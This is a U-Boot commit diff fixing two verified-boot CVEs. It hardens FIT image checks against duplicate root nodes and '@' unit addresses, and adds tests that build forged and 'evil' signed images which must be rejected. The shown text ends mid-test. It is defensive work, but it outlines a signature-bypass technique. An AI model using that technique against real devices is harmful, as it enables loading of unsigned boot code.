summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorTom Rini <trini@konsulko.com>2021-02-15 19:19:56 -0500
committerTom Rini <trini@konsulko.com>2021-02-15 19:19:56 -0500
commit45eb9ddd00479bd65b355d5d72d2db9fdfef9253 (patch)
tree45cdafc42fc4cfe85d65d99ec49f651f8fcc590e
parent6144438fb5c9059dc87cf219bed0c992f70b3509 (diff)
parent1079109732df13b5a7219e39b398d64baf9dcb06 (diff)
downloadu-boot-WIP/15Feb2021.tar.gz
Merge branch '2021-02-15-fix-CVE-2021-27097-CVE-2021-27138'WIP/15Feb2021
Fix CVE-2021-27097 and CVE-2021-27138. For more details see http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27097 and http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27138
-rw-r--r--arch/arm/cpu/armv8/sec_firmware.c2
-rw-r--r--cmd/bootefi.c2
-rw-r--r--cmd/bootm.c6
-rw-r--r--cmd/disk.c2
-rw-r--r--cmd/fpga.c2
-rw-r--r--cmd/nand.c2
-rw-r--r--cmd/source.c2
-rw-r--r--cmd/ximg.c2
-rw-r--r--common/Kconfig.boot20
-rw-r--r--common/fdt_region.c11
-rw-r--r--common/image-fdt.c2
-rw-r--r--common/image-fit-sig.c22
-rw-r--r--common/image-fit.c126
-rw-r--r--common/splash_source.c6
-rw-r--r--common/update.c4
-rw-r--r--drivers/fpga/socfpga_arria10.c6
-rw-r--r--drivers/net/fsl-mc/mc.c2
-rw-r--r--drivers/net/pfe_eth/pfe_firmware.c2
-rw-r--r--include/image.h21
-rw-r--r--scripts/dtc/libfdt/fdt_ro.c17
-rwxr-xr-xtest/py/tests/test_fit.py24
-rw-r--r--test/py/tests/test_vboot.py95
-rw-r--r--test/py/tests/vboot_evil.py485
-rw-r--r--test/py/tests/vboot_forge.py12
-rw-r--r--tools/fit_common.c3
-rw-r--r--tools/fit_image.c2
-rw-r--r--tools/mkimage.h2
27 files changed, 781 insertions, 101 deletions
diff --git a/arch/arm/cpu/armv8/sec_firmware.c b/arch/arm/cpu/armv8/sec_firmware.c
index c6c4fcc7e0..267894fbcb 100644
--- a/arch/arm/cpu/armv8/sec_firmware.c
+++ b/arch/arm/cpu/armv8/sec_firmware.c
@@ -317,7 +317,7 @@ __weak bool sec_firmware_is_valid(const void *sec_firmware_img)
return false;
}
- if (!fit_check_format(sec_firmware_img)) {
+ if (fit_check_format(sec_firmware_img, IMAGE_SIZE_INVAL)) {
printf("SEC Firmware: Bad firmware image (bad FIT header)\n");
return false;
}
diff --git a/cmd/bootefi.c b/cmd/bootefi.c
index 1583a96be1..271b385ede 100644
--- a/cmd/bootefi.c
+++ b/cmd/bootefi.c
@@ -73,7 +73,7 @@ void efi_set_bootdev(const char *dev, const char *devnr, const char *path,
/* Remember only PE-COFF and FIT images */
if (efi_check_pe(buffer, buffer_size, NULL) != EFI_SUCCESS) {
#ifdef CONFIG_FIT
- if (!fit_check_format(buffer))
+ if (fit_check_format(buffer, IMAGE_SIZE_INVAL))
return;
/*
* FIT images of type EFI_OS are started via command bootm.
diff --git a/cmd/bootm.c b/cmd/bootm.c
index 7732b97f63..81c6b93978 100644
--- a/cmd/bootm.c
+++ b/cmd/bootm.c
@@ -292,7 +292,7 @@ static int image_info(ulong addr)
case IMAGE_FORMAT_FIT:
puts(" FIT image found\n");
- if (!fit_check_format(hdr)) {
+ if (fit_check_format(hdr, IMAGE_SIZE_INVAL)) {
puts("Bad FIT image format!\n");
unmap_sysmem(hdr);
return 1;
@@ -369,7 +369,7 @@ static int do_imls_nor(void)
#endif
#if defined(CONFIG_FIT)
case IMAGE_FORMAT_FIT:
- if (!fit_check_format(hdr))
+ if (fit_check_format(hdr, IMAGE_SIZE_INVAL))
goto next_sector;
printf("FIT Image at %08lX:\n", (ulong)hdr);
@@ -449,7 +449,7 @@ static int nand_imls_fitimage(struct mtd_info *mtd, int nand_dev, loff_t off,
return ret;
}
- if (!fit_check_format(imgdata)) {
+ if (fit_check_format(imgdata, IMAGE_SIZE_INVAL)) {
free(imgdata);
return 0;
}
diff --git a/cmd/disk.c b/cmd/disk.c
index 0bc3808dfe..2726115e85 100644
--- a/cmd/disk.c
+++ b/cmd/disk.c
@@ -114,7 +114,7 @@ int common_diskboot(struct cmd_tbl *cmdtp, const char *intf, int argc,
/* This cannot be done earlier,
* we need complete FIT image in RAM first */
if (genimg_get_format((void *) addr) == IMAGE_FORMAT_FIT) {
- if (!fit_check_format(fit_hdr)) {
+ if (fit_check_format(fit_hdr, IMAGE_SIZE_INVAL)) {
bootstage_error(BOOTSTAGE_ID_IDE_FIT_READ);
puts("** Bad FIT image format\n");
return 1;
diff --git a/cmd/fpga.c b/cmd/fpga.c
index 8ae1c936fb..51410a8e42 100644
--- a/cmd/fpga.c
+++ b/cmd/fpga.c
@@ -330,7 +330,7 @@ static int do_fpga_loadmk(struct cmd_tbl *cmdtp, int flag, int argc,
return CMD_RET_FAILURE;
}
- if (!fit_check_format(fit_hdr)) {
+ if (fit_check_format(fit_hdr, IMAGE_SIZE_INVAL)) {
puts("Bad FIT image format\n");
return CMD_RET_FAILURE;
}
diff --git a/cmd/nand.c b/cmd/nand.c
index 92d039af8f..97e117a979 100644
--- a/cmd/nand.c
+++ b/cmd/nand.c
@@ -917,7 +917,7 @@ static int nand_load_image(struct cmd_tbl *cmdtp, struct mtd_info *mtd,
#if defined(CONFIG_FIT)
/* This cannot be done earlier, we need complete FIT image in RAM first */
if (genimg_get_format ((void *)addr) == IMAGE_FORMAT_FIT) {
- if (!fit_check_format (fit_hdr)) {
+ if (fit_check_format(fit_hdr, IMAGE_SIZE_INVAL)) {
bootstage_error(BOOTSTAGE_ID_NAND_FIT_READ);
puts ("** Bad FIT image format\n");
return 1;
diff --git a/cmd/source.c b/cmd/source.c
index b6c709a3d2..71f71528ad 100644
--- a/cmd/source.c
+++ b/cmd/source.c
@@ -107,7 +107,7 @@ int image_source_script(ulong addr, const char *fit_uname)
#if defined(CONFIG_FIT)
case IMAGE_FORMAT_FIT:
fit_hdr = buf;
- if (!fit_check_format (fit_hdr)) {
+ if (fit_check_format(fit_hdr, IMAGE_SIZE_INVAL)) {
puts ("Bad FIT image format\n");
return 1;
}
diff --git a/cmd/ximg.c b/cmd/ximg.c
index 159ba51648..ef738ebfa2 100644
--- a/cmd/ximg.c
+++ b/cmd/ximg.c
@@ -136,7 +136,7 @@ do_imgextract(struct cmd_tbl *cmdtp, int flag, int argc, char *const argv[])
"at %08lx ...\n", uname, addr);
fit_hdr = (const void *)addr;
- if (!fit_check_format(fit_hdr)) {
+ if (fit_check_format(fit_hdr, IMAGE_SIZE_INVAL)) {
puts("Bad FIT image format\n");
return 1;
}
diff --git a/common/Kconfig.boot b/common/Kconfig.boot
index 5eaabdfc27..7532e55edb 100644
--- a/common/Kconfig.boot
+++ b/common/Kconfig.boot
@@ -63,6 +63,15 @@ config FIT_ENABLE_SHA512_SUPPORT
SHA512 checksum is a 512-bit (64-byte) hash value used to check that
the image contents have not been corrupted.
+config FIT_FULL_CHECK
+ bool "Do a full check of the FIT before using it"
+ default y
+ help
+ Enable this do a full check of the FIT to make sure it is valid. This
+ helps to protect against carefully crafted FITs which take advantage
+ of bugs or omissions in the code. This includes a bad structure,
+ multiple root nodes and the like.
+
config FIT_SIGNATURE
bool "Enable signature verification of FIT uImages"
depends on DM
@@ -70,6 +79,7 @@ config FIT_SIGNATURE
select RSA
select RSA_VERIFY
select IMAGE_SIGN_INFO
+ select FIT_FULL_CHECK
help
This option enables signature verification of FIT uImages,
using a hash signed and verified using RSA. If
@@ -159,6 +169,15 @@ config SPL_FIT_PRINT
help
Support printing the content of the fitImage in a verbose manner in SPL.
+config SPL_FIT_FULL_CHECK
+ bool "Do a full check of the FIT before using it"
+ help
+ Enable this do a full check of the FIT to make sure it is valid. This
+ helps to protect against carefully crafted FITs which take advantage
+ of bugs or omissions in the code. This includes a bad structure,
+ multiple root nodes and the like.
+
+
config SPL_FIT_SIGNATURE
bool "Enable signature verification of FIT firmware within SPL"
depends on SPL_DM
@@ -168,6 +187,7 @@ config SPL_FIT_SIGNATURE
select SPL_RSA
select SPL_RSA_VERIFY
select SPL_IMAGE_SIGN_INFO
+ select SPL_FIT_FULL_CHECK
config SPL_LOAD_FIT
bool "Enable SPL loading U-Boot as a FIT (basic fitImage features)"
diff --git a/common/fdt_region.c b/common/fdt_region.c
index ff12c518e9..e4ef0ca770 100644
--- a/common/fdt_region.c
+++ b/common/fdt_region.c
@@ -43,6 +43,7 @@ int fdt_find_regions(const void *fdt, char * const inc[], int inc_count,
int depth = -1;
int want = 0;
int base = fdt_off_dt_struct(fdt);
+ bool expect_end = false;
end = path;
*end = '\0';
@@ -59,6 +60,10 @@ int fdt_find_regions(const void *fdt, char * const inc[], int inc_count,
tag = fdt_next_tag(fdt, offset, &nextoffset);
stop_at = nextoffset;
+ /* If we see two root nodes, something is wrong */
+ if (expect_end && tag != FDT_END)
+ return -FDT_ERR_BADLAYOUT;
+
switch (tag) {
case FDT_PROP:
include = want >= 2;
@@ -81,6 +86,10 @@ int fdt_find_regions(const void *fdt, char * const inc[], int inc_count,
if (depth == FDT_MAX_DEPTH)
return -FDT_ERR_BADSTRUCTURE;
name = fdt_get_name(fdt, offset, &len);
+
+ /* The root node must have an empty name */
+ if (!depth && *name)
+ return -FDT_ERR_BADLAYOUT;
if (end - path + 2 + len >= path_len)
return -FDT_ERR_NOSPACE;
if (end != path + 1)
@@ -108,6 +117,8 @@ int fdt_find_regions(const void *fdt, char * const inc[], int inc_count,
while (end > path && *--end != '/')
;
*end = '\0';
+ if (depth == -1)
+ expect_end = true;
break;
case FDT_END:
diff --git a/common/image-fdt.c b/common/image-fdt.c
index 0157cce32d..61ce6e5779 100644
--- a/common/image-fdt.c
+++ b/common/image-fdt.c
@@ -400,7 +400,7 @@ int boot_get_fdt(int flag, int argc, char *const argv[], uint8_t arch,
*/
#if CONFIG_IS_ENABLED(FIT)
/* check FDT blob vs FIT blob */
- if (fit_check_format(buf)) {
+ if (!fit_check_format(buf, IMAGE_SIZE_INVAL)) {
ulong load, len;
fdt_noffset = boot_get_fdt_fit(images,
diff --git a/common/image-fit-sig.c b/common/image-fit-sig.c
index 897e04c7a3..34ebb8edfe 100644
--- a/common/image-fit-sig.c
+++ b/common/image-fit-sig.c
@@ -149,6 +149,14 @@ static int fit_image_verify_sig(const void *fit, int image_noffset,
fdt_for_each_subnode(noffset, fit, image_noffset) {
const char *name = fit_get_name(fit, noffset, NULL);
+ /*
+ * We don't support this since libfdt considers names with the
+ * name root but different @ suffix to be equal
+ */
+ if (strchr(name, '@')) {
+ err_msg = "Node name contains @";
+ goto error;
+ }
if (!strncmp(name, FIT_SIG_NODENAME,
strlen(FIT_SIG_NODENAME))) {
ret = fit_image_check_sig(fit, noffset, data,
@@ -398,9 +406,10 @@ error:
return -EPERM;
}
-int fit_config_verify_required_sigs(const void *fit, int conf_noffset,
- const void *sig_blob)
+static int fit_config_verify_required_sigs(const void *fit, int conf_noffset,
+ const void *sig_blob)
{
+ const char *name = fit_get_name(fit, conf_noffset, NULL);
int noffset;
int sig_node;
int verified = 0;
@@ -408,6 +417,15 @@ int fit_config_verify_required_sigs(const void *fit, int conf_noffset,
bool reqd_policy_all = true;
const char *reqd_mode;
+ /*
+ * We don't support this since libfdt considers names with the
+ * name root but different @ suffix to be equal
+ */
+ if (strchr(name, '@')) {
+ printf("Configuration node '%s' contains '@'\n", name);
+ return -EPERM;
+ }
+
/* Work out what we need to verify */
sig_node = fdt_subnode_offset(sig_blob, 0, FIT_SIG_NODENAME);
if (sig_node < 0) {
diff --git a/common/image-fit.c b/common/image-fit.c
index adc3e551de..28b3d2b191 100644
--- a/common/image-fit.c
+++ b/common/image-fit.c
@@ -8,6 +8,8 @@
* Wolfgang Denk, DENX Software Engineering, wd@denx.de.
*/
+#define LOG_CATEGORY LOGC_BOOT
+
#ifdef USE_HOSTCC
#include "mkimage.h"
#include <time.h>
@@ -1369,21 +1371,31 @@ error:
*/
int fit_image_verify(const void *fit, int image_noffset)
{
+ const char *name = fit_get_name(fit, image_noffset, NULL);
const void *data;
size_t size;
- int noffset = 0;
char *err_msg = "";
+ if (strchr(name, '@')) {
+ /*
+ * We don't support this since libfdt considers names with the
+ * name root but different @ suffix to be equal
+ */
+ err_msg = "Node name contains @";
+ goto err;
+ }
/* Get image data and data length */
if (fit_image_get_data_and_size(fit, image_noffset, &data, &size)) {
err_msg = "Can't get image data/size";
- printf("error!\n%s for '%s' hash node in '%s' image node\n",
- err_msg, fit_get_name(fit, noffset, NULL),
- fit_get_name(fit, image_noffset, NULL));
- return 0;
+ goto err;
}
return fit_image_verify_with_data(fit, image_noffset, data, size);
+
+err:
+ printf("error!\n%s in '%s' image node\n", err_msg,
+ fit_get_name(fit, image_noffset, NULL));
+ return 0;
}
/**
@@ -1557,48 +1569,101 @@ int fit_image_check_comp(const void *fit, int noffset, uint8_t comp)
}
/**
- * fit_check_format - sanity check FIT image format
- * @fit: pointer to the FIT format image header
+ * fdt_check_no_at() - Check for nodes whose names contain '@'
*
- * fit_check_format() runs a basic sanity FIT image verification.
- * Routine checks for mandatory properties, nodes, etc.
+ * This checks the parent node and all subnodes recursively
*
- * returns:
- * 1, on success
- * 0, on failure
+ * @fit: FIT to check
+ * @parent: Parent node to check
+ * @return 0 if OK, -EADDRNOTAVAIL is a node has a name containing '@'
*/
-int fit_check_format(const void *fit)
+static int fdt_check_no_at(const void *fit, int parent)
{
+ const char *name;
+ int node;
+ int ret;
+
+ name = fdt_get_name(fit, parent, NULL);
+ if (!name || strchr(name, '@'))
+ return -EADDRNOTAVAIL;
+
+ fdt_for_each_subnode(node, fit, parent) {
+ ret = fdt_check_no_at(fit, node);
+ if (ret)
+ return ret;
+ }
+
+ return 0;
+}
+
+int fit_check_format(const void *fit, ulong size)
+{
+ int ret;
+
/* A FIT image must be a valid FDT */
- if (fdt_check_header(fit)) {
- debug("Wrong FIT format: not a flattened device tree\n");
- return 0;
+ ret = fdt_check_header(fit);
+ if (ret) {
+ log_debug("Wrong FIT format: not a flattened device tree (err=%d)\n",
+ ret);
+ return -ENOEXEC;
+ }
+
+ if (CONFIG_IS_ENABLED(FIT_FULL_CHECK)) {
+ /*
+ * If we are not given the size, make do wtih calculating it.
+ * This is not as secure, so we should consider a flag to
+ * control this.
+ */
+ if (size == IMAGE_SIZE_INVAL)
+ size = fdt_totalsize(fit);
+ ret = fdt_check_full(fit, size);
+ if (ret)
+ ret = -EINVAL;
+
+ /*
+ * U-Boot stopped using unit addressed in 2017. Since libfdt
+ * can match nodes ignoring any unit address, signature
+ * verification can see the wrong node if one is inserted with
+ * the same name as a valid node but with a unit address
+ * attached. Protect against this by disallowing unit addresses.
+ */
+ if (!ret && CONFIG_IS_ENABLED(FIT_SIGNATURE)) {
+ ret = fdt_check_no_at(fit, 0);
+
+ if (ret) {
+ log_debug("FIT check error %d\n", ret);
+ return ret;
+ }
+ }
+ if (ret) {
+ log_debug("FIT check error %d\n", ret);
+ return ret;
+ }
}
/* mandatory / node 'description' property */
- if (fdt_getprop(fit, 0, FIT_DESC_PROP, NULL) == NULL) {
- debug("Wrong FIT format: no description\n");
- return 0;
+ if (!fdt_getprop(fit, 0, FIT_DESC_PROP, NULL)) {
+ log_debug("Wrong FIT format: no description\n");
+ return -ENOMSG;
}
if (IMAGE_ENABLE_TIMESTAMP) {
/* mandatory / node 'timestamp' property */
- if (fdt_getprop(fit, 0, FIT_TIMESTAMP_PROP, NULL) == NULL) {
- debug("Wrong FIT format: no timestamp\n");
- return 0;
+ if (!fdt_getprop(fit, 0, FIT_TIMESTAMP_PROP, NULL)) {
+ log_debug("Wrong FIT format: no timestamp\n");
+ return -ENODATA;
}
}
/* mandatory subimages parent '/images' node */
if (fdt_path_offset(fit, FIT_IMAGES_PATH) < 0) {
- debug("Wrong FIT format: no images parent node\n");
- return 0;
+ log_debug("Wrong FIT format: no images parent node\n");
+ return -ENOENT;
}
- return 1;
+ return 0;
}
-
/**
* fit_conf_find_compat
* @fit: pointer to the FIT format image header
@@ -1935,10 +2000,13 @@ int fit_image_load(bootm_headers_t *images, ulong addr,
printf("## Loading %s from FIT Image at %08lx ...\n", prop_name, addr);
bootstage_mark(bootstage_id + BOOTSTAGE_SUB_FORMAT);
- if (!fit_check_format(fit)) {
- printf("Bad FIT %s image format!\n", prop_name);
+ ret = fit_check_format(fit, IMAGE_SIZE_INVAL);
+ if (ret) {
+ printf("Bad FIT %s image format! (err=%d)\n", prop_name, ret);
+ if (CONFIG_IS_ENABLED(FIT_SIGNATURE) && ret == -EADDRNOTAVAIL)
+ printf("Signature checking prevents use of unit addresses (@) in nodes\n");
bootstage_error(bootstage_id + BOOTSTAGE_SUB_FORMAT);
- return -ENOEXEC;
+ return ret;
}
bootstage_mark(bootstage_id + BOOTSTAGE_SUB_FORMAT_OK);
if (fit_uname) {
diff --git a/common/splash_source.c b/common/splash_source.c
index 2737fc6e7f..7065200a84 100644
--- a/common/splash_source.c
+++ b/common/splash_source.c
@@ -337,10 +337,10 @@ static int splash_load_fit(struct splash_location *location, u32 bmp_load_addr)
if (res < 0)
return res;
- res = fit_check_format(fit_header);
- if (!res) {
+ res = fit_check_format(fit_header, IMAGE_SIZE_INVAL);
+ if (res) {
debug("Could not find valid FIT image\n");
- return -EINVAL;
+ return ret;
}
/* Get the splash image node */
diff --git a/common/update.c b/common/update.c
index a5879cb52c..f0848954e5 100644
--- a/common/update.c
+++ b/common/update.c
@@ -286,7 +286,7 @@ int update_tftp(ulong addr, char *interface, char *devstring)
got_update_file:
fit = map_sysmem(addr, 0);
- if (!fit_check_format((void *)fit)) {
+ if (fit_check_format((void *)fit, IMAGE_SIZE_INVAL)) {
printf("Bad FIT format of the update file, aborting "
"auto-update\n");
return 1;
@@ -363,7 +363,7 @@ int fit_update(const void *fit)
if (!fit)
return -EINVAL;
- if (!fit_check_format((void *)fit)) {
+ if (fit_check_format((void *)fit, IMAGE_SIZE_INVAL)) {
printf("Bad FIT format of the update file, aborting auto-update\n");
return -EINVAL;
}
diff --git a/drivers/fpga/socfpga_arria10.c b/drivers/fpga/socfpga_arria10.c
index 4bea7fd900..b992e6f080 100644
--- a/drivers/fpga/socfpga_arria10.c
+++ b/drivers/fpga/socfpga_arria10.c
@@ -566,10 +566,10 @@ static int first_loading_rbf_to_buffer(struct udevice *dev,
if (ret < 0)
return ret;
- ret = fit_check_format(buffer_p);
- if (!ret) {
+ ret = fit_check_format(buffer_p, IMAGE_SIZE_INVAL);
+ if (ret) {
debug("FPGA: No valid FIT image was found.\n");
- return -EBADF;
+ return ret;
}
confs_noffset = fdt_path_offset(buffer_p, FIT_CONFS_PATH);
diff --git a/drivers/net/fsl-mc/mc.c b/drivers/net/fsl-mc/mc.c
index c9cf6a987e..972db4cf3a 100644
--- a/drivers/net/fsl-mc/mc.c
+++ b/drivers/net/fsl-mc/mc.c
@@ -142,7 +142,7 @@ int parse_mc_firmware_fit_image(u64 mc_fw_addr,
return -EINVAL;
}
- if (!fit_check_format(fit_hdr)) {
+ if (fit_check_format(fit_hdr, IMAGE_SIZE_INVAL)) {
printf("fsl-mc: ERR: Bad firmware image (bad FIT header)\n");
return -EINVAL;
}
diff --git a/drivers/net/pfe_eth/pfe_firmware.c b/drivers/net/pfe_eth/pfe_firmware.c
index 41999e176d..eee70a2e73 100644
--- a/drivers/net/pfe_eth/pfe_firmware.c
+++ b/drivers/net/pfe_eth/pfe_firmware.c
@@ -160,7 +160,7 @@ static int pfe_fit_check(void)
return ret;
}
- if (!fit_check_format(pfe_fit_addr)) {
+ if (fit_check_format(pfe_fit_addr, IMAGE_SIZE_INVAL)) {
printf("PFE Firmware: Bad firmware image (bad FIT header)\n");
ret = -1;
return ret;
diff --git a/include/image.h b/include/image.h
index 856bc3e1b2..d5a940313a 100644
--- a/include/image.h
+++ b/include/image.h
@@ -134,6 +134,9 @@ extern ulong image_load_addr; /* Default Load Address */
extern ulong image_save_addr; /* Default Save Address */
extern ulong image_save_size; /* Default Save Size */
+/* An invalid size, meaning that the image size is not known */
+#define IMAGE_SIZE_INVAL (-1UL)
+
enum ih_category {
IH_ARCH,
IH_COMP,
@@ -1142,7 +1145,23 @@ int fit_image_check_os(const void *fit, int noffset, uint8_t os);
int fit_image_check_arch(const void *fit, int noffset, uint8_t arch);
int fit_image_check_type(const void *fit, int noffset, uint8_t type);
int fit_image_check_comp(const void *fit, int noffset, uint8_t comp);
-int fit_check_format(const void *fit);
+
+/**
+ * fit_check_format() - Check that the FIT is valid
+ *
+ * This performs various checks on the FIT to make sure it is suitable for
+ * use, looking for mandatory properties, nodes, etc.
+ *
+ * If FIT_FULL_CHECK is enabled, it also runs it through libfdt to make
+ * sure that there are no strange tags or broken nodes in the FIT.
+ *
+ * @fit: pointer to the FIT format image header
+ * @return 0 if OK, -ENOEXEC if not an FDT file, -EINVAL if the full FDT check
+ * failed (e.g. due to bad structure), -ENOMSG if the description is
+ * missing, -ENODATA if the timestamp is missing, -ENOENT if the /images
+ * path is missing
+ */
+int fit_check_format(const void *fit, ulong size);
int fit_conf_find_compat(const void *fit, const void *fdt);
diff --git a/scripts/dtc/libfdt/fdt_ro.c b/scripts/dtc/libfdt/fdt_ro.c
index d984bab036..efe7efe921 100644
--- a/scripts/dtc/libfdt/fdt_ro.c
+++ b/scripts/dtc/libfdt/fdt_ro.c
@@ -867,6 +867,7 @@ int fdt_check_full(const void *fdt, size_t bufsize)
unsigned depth = 0;
const void *prop;
const char *propname;
+ bool expect_end = false;
if (bufsize < FDT_V1_SIZE)
return -FDT_ERR_TRUNCATED;
@@ -887,6 +888,10 @@ int fdt_check_full(const void *fdt, size_t bufsize)
if (nextoffset < 0)
return nextoffset;
+ /* If we see two root nodes, something is wrong */
+ if (expect_end && tag != FDT_END)
+ return -FDT_ERR_BADLAYOUT;
+
switch (tag) {
case FDT_NOP:
break;
@@ -900,12 +905,24 @@ int fdt_check_full(const void *fdt, size_t bufsize)
depth++;
if (depth > INT_MAX)
return -FDT_ERR_BADSTRUCTURE;
+
+ /* The root node must have an empty name */
+ if (depth == 1) {
+ const char *name;
+ int len;
+
+ name = fdt_get_name(fdt, offset, &len);
+ if (*name || len)
+ return -FDT_ERR_BADLAYOUT;
+ }
break;
case FDT_END_NODE:
if (depth == 0)
return -FDT_ERR_BADSTRUCTURE;
depth--;
+ if (depth == 0)
+ expect_end = true;
break;
case FDT_PROP:
diff --git a/test/py/tests/test_fit.py b/test/py/tests/test_fit.py
index 84b3f95850..6d5b43c3ba 100755
--- a/test/py/tests/test_fit.py
+++ b/test/py/tests/test_fit.py
@@ -17,7 +17,7 @@ base_its = '''
#address-cells = <1>;
images {
- kernel@1 {
+ kernel-1 {
data = /incbin/("%(kernel)s");
type = "kernel";
arch = "sandbox";
@@ -26,7 +26,7 @@ base_its = '''
load = <0x40000>;
entry = <0x8>;
};
- kernel@2 {
+ kernel-2 {
data = /incbin/("%(loadables1)s");
type = "kernel";
arch = "sandbox";
@@ -35,19 +35,19 @@ base_its = '''
%(loadables1_load)s
entry = <0x0>;
};
- fdt@1 {
+ fdt-1 {
description = "snow";
data = /incbin/("%(fdt)s");
type = "flat_dt";
arch = "sandbox";
%(fdt_load)s
compression = "%(compression)s";
- signature@1 {
+ signature-1 {
algo = "sha1,rsa2048";
key-name-hint = "dev";
};
};
- ramdisk@1 {
+ ramdisk-1 {
description = "snow";
data = /incbin/("%(ramdisk)s");
type = "ramdisk";
@@ -56,7 +56,7 @@ base_its = '''
%(ramdisk_load)s
compression = "%(compression)s";
};
- ramdisk@2 {
+ ramdisk-2 {
description = "snow";
data = /incbin/("%(loadables2)s");
type = "ramdisk";
@@ -67,10 +67,10 @@ base_its = '''
};
};
configurations {
- default = "conf@1";
- conf@1 {
- kernel = "kernel@1";
- fdt = "fdt@1";
+ default = "conf-1";
+ conf-1 {
+ kernel = "kernel-1";
+ fdt = "fdt-1";
%(ramdisk_config)s
%(loadables_config)s
};
@@ -410,7 +410,7 @@ def test_fit(u_boot_console):
# Try a ramdisk
with cons.log.section('Kernel + FDT + Ramdisk load'):
- params['ramdisk_config'] = 'ramdisk = "ramdisk@1";'
+ params['ramdisk_config'] = 'ramdisk = "ramdisk-1";'
params['ramdisk_load'] = 'load = <%#x>;' % params['ramdisk_addr']
fit = make_fit(mkimage, params)
cons.restart_uboot()
@@ -419,7 +419,7 @@ def test_fit(u_boot_console):
# Configuration with some Loadables
with cons.log.section('Kernel + FDT + Ramdisk load + Loadables'):
- params['loadables_config'] = 'loadables = "kernel@2", "ramdisk@2";'
+ params['loadables_config'] = 'loadables = "kernel-2", "ramdisk-2";'
params['loadables1_load'] = ('load = <%#x>;' %
params['loadables1_addr'])
params['loadables2_load'] = ('load = <%#x>;' %
diff --git a/test/py/tests/test_vboot.py b/test/py/tests/test_vboot.py
index e45800d94c..6dff6779d1 100644
--- a/test/py/tests/test_vboot.py
+++ b/test/py/tests/test_vboot.py
@@ -24,22 +24,26 @@ For configuration verification:
Tests run with both SHA1 and SHA256 hashing.
"""
+import shutil
import struct
import pytest
import u_boot_utils as util
import vboot_forge
+import vboot_evil
+# Only run the full suite on a few combinations, since it doesn't add any more
+# test coverage.
TESTDATA = [
- ['sha1', '', None, False],
- ['sha1', '', '-E -p 0x10000', False],
- ['sha1', '-pss', None, False],
- ['sha1', '-pss', '-E -p 0x10000', False],
- ['sha256', '', None, False],
- ['sha256', '', '-E -p 0x10000', False],
- ['sha256', '-pss', None, False],
- ['sha256', '-pss', '-E -p 0x10000', False],
- ['sha256', '-pss', None, True],
- ['sha256', '-pss', '-E -p 0x10000', True],
+ ['sha1', '', None, False, True],
+ ['sha1', '', '-E -p 0x10000', False, False],
+ ['sha1', '-pss', None, False, False],
+ ['sha1', '-pss', '-E -p 0x10000', False, False],
+ ['sha256', '', None, False, False],
+ ['sha256', '', '-E -p 0x10000', False, False],
+ ['sha256', '-pss', None, False, False],
+ ['sha256', '-pss', '-E -p 0x10000', False, False],
+ ['sha256', '-pss', None, True, False],
+ ['sha256', '-pss', '-E -p 0x10000', True, True],
]
@pytest.mark.boardspec('sandbox')
@@ -48,8 +52,10 @@ TESTDATA = [
@pytest.mark.requiredtool('fdtget')
@pytest.mark.requiredtool('fdtput')
@pytest.mark.requiredtool('openssl')
-@pytest.mark.parametrize("sha_algo,padding,sign_options,required", TESTDATA)
-def test_vboot(u_boot_console, sha_algo, padding, sign_options, required):
+@pytest.mark.parametrize("sha_algo,padding,sign_options,required,full_test",
+ TESTDATA)
+def test_vboot(u_boot_console, sha_algo, padding, sign_options, required,
+ full_test):
"""Test verified boot signing with mkimage and verification with 'bootm'.
This works using sandbox only as it needs to update the device tree used
@@ -71,7 +77,7 @@ def test_vboot(u_boot_console, sha_algo, padding, sign_options, required):
util.run_and_log(cons, 'dtc %s %s%s -O dtb '
'-o %s%s' % (dtc_args, datadir, dts, tmpdir, dtb))
- def run_bootm(sha_algo, test_type, expect_string, boots):
+ def run_bootm(sha_algo, test_type, expect_string, boots, fit=None):
"""Run a 'bootm' command U-Boot.
This always starts a fresh U-Boot instance since the device tree may
@@ -84,11 +90,14 @@ def test_vboot(u_boot_console, sha_algo, padding, sign_options, required):
use.
boots: A boolean that is True if Linux should boot and False if
we are expected to not boot
+ fit: FIT filename to load and verify
"""
+ if not fit:
+ fit = '%stest.fit' % tmpdir
cons.restart_uboot()
with cons.log.section('Verified boot %s %s' % (sha_algo, test_type)):
output = cons.run_command_list(
- ['host load hostfs - 100 %stest.fit' % tmpdir,
+ ['host load hostfs - 100 %s' % fit,
'fdt addr 100',
'bootm 100'])
assert expect_string in ''.join(output)
@@ -222,18 +231,43 @@ def test_vboot(u_boot_console, sha_algo, padding, sign_options, required):
util.run_and_log(cons, [fit_check_sign, '-f', fit, '-k', dtb])
- # Make sure that U-Boot checks that the config is in the list of hashed
- # nodes. If it isn't, a security bypass is possible.
- with open(fit, 'rb') as fd:
- root, strblock = vboot_forge.read_fdt(fd)
- root, strblock = vboot_forge.manipulate(root, strblock)
- with open(fit, 'w+b') as fd:
- vboot_forge.write_fdt(root, strblock, fd)
- util.run_and_log_expect_exception(
- cons, [fit_check_sign, '-f', fit, '-k', dtb],
- 1, 'Failed to verify required signature')
-
- run_bootm(sha_algo, 'forged config', 'Bad Data Hash', False)
+ if full_test:
+ # Make sure that U-Boot checks that the config is in the list of
+ # hashed nodes. If it isn't, a security bypass is possible.
+ ffit = '%stest.forged.fit' % tmpdir
+ shutil.copyfile(fit, ffit)
+ with open(ffit, 'rb') as fd:
+ root, strblock = vboot_forge.read_fdt(fd)
+ root, strblock = vboot_forge.manipulate(root, strblock)
+ with open(ffit, 'w+b') as fd:
+ vboot_forge.write_fdt(root, strblock, fd)
+ util.run_and_log_expect_exception(
+ cons, [fit_check_sign, '-f', ffit, '-k', dtb],
+ 1, 'Failed to verify required signature')
+
+ run_bootm(sha_algo, 'forged config', 'Bad Data Hash', False, ffit)
+
+ # Try adding an evil root node. This should be detected.
+ efit = '%stest.evilf.fit' % tmpdir
+ shutil.copyfile(fit, efit)
+ vboot_evil.add_evil_node(fit, efit, evil_kernel, 'fakeroot')
+
+ util.run_and_log_expect_exception(
+ cons, [fit_check_sign, '-f', efit, '-k', dtb],
+ 1, 'Failed to verify required signature')
+ run_bootm(sha_algo, 'evil fakeroot', 'Bad FIT kernel image format',
+ False, efit)
+
+ # Try adding an @ to the kernel node name. This should be detected.
+ efit = '%stest.evilk.fit' % tmpdir
+ shutil.copyfile(fit, efit)
+ vboot_evil.add_evil_node(fit, efit, evil_kernel, 'kernel@')
+
+ msg = 'Signature checking prevents use of unit addresses (@) in nodes'
